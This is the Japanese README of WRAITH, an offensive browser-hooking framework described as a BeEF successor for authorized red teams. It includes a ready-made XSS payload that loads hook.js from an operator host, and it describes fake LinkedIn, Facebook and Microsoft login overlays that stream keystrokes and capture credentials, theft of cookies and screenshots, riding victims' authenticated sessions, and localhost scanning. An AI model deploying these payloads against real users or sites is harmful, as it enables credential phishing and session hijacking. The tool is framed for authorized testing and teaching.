
ブラウザフックフレームワーク。許可されたレッドチームと教育者向け。XSSを介してブラウザをフックし、対話型のポストエクスプロイテーション制御、ブラインドXSSの戦利品キャプチャ、ソーシャルエンジニアリングオーバーレイ、および練習ラボを提供する。
レッドチーム、セキュリティ研究者、教育者向けの、モダンでスタンドアロンなブラウザフックフレームワーク — BeEF や、私たちが日常的に使っている blind-XSS コールバックツールのクリーンルーム後継です。
認可されたセキュリティテスト、研究、教育のみを目的としています。 WRAITH は、フィッシング / man-in-the-browser / blind-XSS のトレードクラフトを実演・テストするための攻撃的セキュリティツールです。明示的な認可を得たシステムと人物に対してのみ使用してください。使用方法については、あなた自身に責任があります。

Arcanum での業務を通じて、私たちは常に2種類の異なるツールに手を伸ばし、それらが1つになればいいのにと思い続けていました。
一方は BeEF — Browser Exploitation Framework — で、古典的な ブラウザをフックし、そのセッションの内部から操作する ワークフロー用です: 偽ログインのキーログ、ローカルネットワークの偵察、生きた被害者へのモジュール配信。これは man-in-the-browser を現実のものとして人々に示すために使ってきたツールです。しかし、時代遅れになりつつあり、今日のブラウザでは大きな部分が信頼性に欠け、ソーシャルエンジニアリングのオーバーレイは10年前のログイン画面のように見えます。
もう一方は、私たちのお気に入りの blind-XSS コールバックフレームワーク (XSS Hunter、ezXSS) でした: ペイロードをフィールドに仕込み、見えない場所で発火した瞬間に、成果物 — オリジン、クッキー、DOM、スクリーンショット — とともにコールバックが返ってきます。
私たちがますます必要としていたのは — 特にターゲットの多くが AI アプリケーションエコシステム になり、信頼できないテキストがエージェント、ツール出力、管理者レビューキュー、サポートコンソールを流れ、誰も見ていない場所で JavaScript が発火する ようになるにつれて — 両方を実現する単一のフレームワークでした: BeEF フックの対話的で持続的なポストエクスプロイテーション制御 と、ファイア・アンド・フォーゲットの blind-XSS コールバック成果物を、現在のブラウザで信頼性が高く、今日の実際のログイン画面のように見える1つのペイロードで実現することです。
そこで私たちは WRAITH を構築しました。
WRAITH を 意図的に、早期に リリースしています。実際に使用する人々の手に渡り、何が壊れるかを聞くことを、「完成」するまで寝かせておくよりも優先します。
つまり: 粗い部分やバグがあることを想定してください。 一部のモジュールは他のものより実戦で検証されています。ブラウザの動作は常に変化しており (以下のネットワークスキャンの注意事項を参照)、API はバージョン間で変更される可能性があります。問題に遭遇した場合は、issue を開いて ください — 再現手順、ブラウザ + バージョン、期待した動作が重要です。プロジェクトの貢献条件の下で PR も歓迎します。
最も速い方法です。Docker と Docker Compose が必要です。
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh がすべてを案内します:
.env (chmod 600) を書き込み、コンテナをビルド + 起動 します。 オペレーターコンソール : http://YOUR_IP:8090/operator/
ログインページ : http://YOUR_IP:8090/login (ユーザー "operator")
デモ被害者ページ : http://YOUR_IP:8090/demo/
フックペイロード : http://YOUR_IP:8090/hook.js
そのまま使える XSS ペイロード:
"><script src="http://YOUR_IP:8090/hook.js"></script>
標準的な compose コマンドで管理します:
docker compose logs -f # 監視
docker compose down # 停止 (./data は保持)
./setup.sh # 再設定 (パスワード変更、アドレス変更など)
キャプチャされたセッションはホスト上の ./data/ に永続化されます — イメージに焼き込まれることは決してなく、コミットされることも決してありません (.env と data/ は gitignore されています)。
オペレーターコンソールは、オペレーターパスワードが設定されている場合、ユーザー名 + パスワードのサインインでログインゲートされます:

npm install
npm start
次に、オペレーターコンソールを http://127.0.0.1:3000/operator/ で、デモ被害者ページを http://127.0.0.1:3000/demo/ (別のブラウザ/プロファイルで) 開きます。localhost では、利便性のためデフォルトでログインが無効になっています — サーバーはオペレーターパスワードなしでパブリックインターフェースへのバインドを拒否するため、誤ってオープンパネルを公開することはありません。
/hook.js は小さなペイロードです。制御する任意のページに配置するか (<script src="/hook.js"></script>)、ターゲットの XSS を介して配信します。これを読み込んだブラウザはオペレーターへの WebSocket を開き、自身をフィンガープリントし (ブラウザ、OS、IP、ページ、UA)、自動再接続し、ナビゲーションを生き延びます。フックされたすべてのブラウザはコンソールにライブ表示され、1つを選択して操作できます — フルダッシュボードはこの README の冒頭のヒーローショットです: フックされたブラウザの名簿、ターゲット詳細、展開コントロール、ライブアクティビティフィード、キャプチャされた認証情報。
モダナイズされた偽ログインオーバーレイで、分離されたシャドウ DOM にレンダリングされるため、どのホストページでもピクセル完璧に見え、実際の再認証モーダルのように背後にあるページをフロストブラーでぼかします。LinkedIn、Facebook、Microsoft / Office 365 (本物の2段階メール → パスワード) が同梱されています。

ターゲットがオーバーレイに入力するすべての文字がリアルタイムでコンソールにストリーミングされ、送信された認証情報は Captured Credentials に保存されます — すべて永続化されるため、リフレッシュや再起動で失われることはありません。

ブラウザがフックした瞬間、WRAITH は Page Capture を自動発火します: blind-XSS フレームワークがペイロードが見えない場所で発火したときに取得するものとまったく同じです — 発火した場所 (オリジン + URL + リファラー)、被害者のクッキー (非 HttpOnly)、完全な DOM、そしてスクリーンショット。失敗は正直に報告されます。なぜなら、それら自体が教訓だからです: HttpOnly クッキーは決して表示されず、CSP やクロスオリジンのキャンバス汚染がスクリーンショットをブロックする可能性があります。

ここが WRAITH が置き換えるツールよりも先を行く点です。 ページに blind XSS やフックを仕込んだとき、ほとんどのフレームワークはスクリーンショットと生の HTML のダンプで止まります — ペイロードがどこで発火したかは見えますが、それで何かをすることはできません。
WRAITH の Page Mirror は、その行き止まりの成果物を、アプリケーションのライブでナビゲート可能なビューに変えます。フックされたページを、オペレーターコンソール内の実際にレンダリングされたブラウザビューとして開きます — そして、被害者がするように、リンクをクリックしてアプリ内を視覚的に移動できます。

重要な点: すべてのナビゲーションはフックされたブラウザを通じてフェッチされます。そのため、被害者のセッションと同一オリジンの信頼に乗ります。被害者のセッションが到達できる任意のページ、エンドポイント、機能に、あなたも到達できます — 認証されたセッションクッキーの背後にゲートされていて、あなたが決して見ることのない (そして HttpOnly であるため、完全に盗むこともできない) ページも含みます。
以下の例では、サポートエージェントのチケットキューから開始し、内部の Credential Vault まで直接クリックして移動しています — 認証されたエージェントセッション内でのみ解決されるページです。認証情報のフィッシングも、クッキーの窃取もありません: 単に被害者のセッションに乗ってそこに到達しただけです。

クロスオリジンの読み取りは設計上依然として失敗します (同一オリジンポリシーは有効です) — ミラーの到達範囲は被害者の到達範囲と正確に同じで、それ以上でも以下でもありません。その境界自体が教訓の一部です。
すべてのコンテキスト (HTML、属性ブレイクアウト、タグクローズ、イベントハンドラ、JS コンテキスト、javascript: URI、jQuery) 用の、すぐに発火可能なインジェクション文字列の XSS-Hunter スタイルカタログ。それぞれに あなたの フック URL が自動入力され、ワンクリックでコピーできます。

フックされたブラウザをプロキシとして使用し、被害者のローカルサービスをフィンガープリントします。これはタイミングサイドチャネルで、現在のブラウザ向けに再構築されています — 信頼できるデフォルトは、2つの独立したプリミティブ (fetch および WebSocket タイミング、まさに eBay の check.js メソッド) を使用したキャリブレーション済み 127.0.0.1 スキャンです。LAN モードも含まれていますが、正直にラベル付けされています。なぜなら、Chrome 142+ の Local Network Access が現在それらをゲートしているからです (下記 を参照)。
/lab に、保存型 XSS シンクを持つ意図的に脆弱な「サポートデスク」があり、チェーン全体を同一オリジンでエンドツーエンドにデモできます: 悪意のあるチケットを送信 → 「エージェント」がキューをレビューし、ペイロードが発火 (blind-XSS の瞬間) → フックされたエージェントを Page Mirror し、セッションゲートされたボールトを取得。設計上意図的に安全でなく、フラグが仕込まれています。

フックは読み込まれた瞬間に発火します。これは、保存されたフィールドにドロップされ、後で見えない管理者/サポート/ログ/エージェントコンテキストでレンダリングされる blind-XSS ペイロードとまったく同じです。データに直接現れる教訓: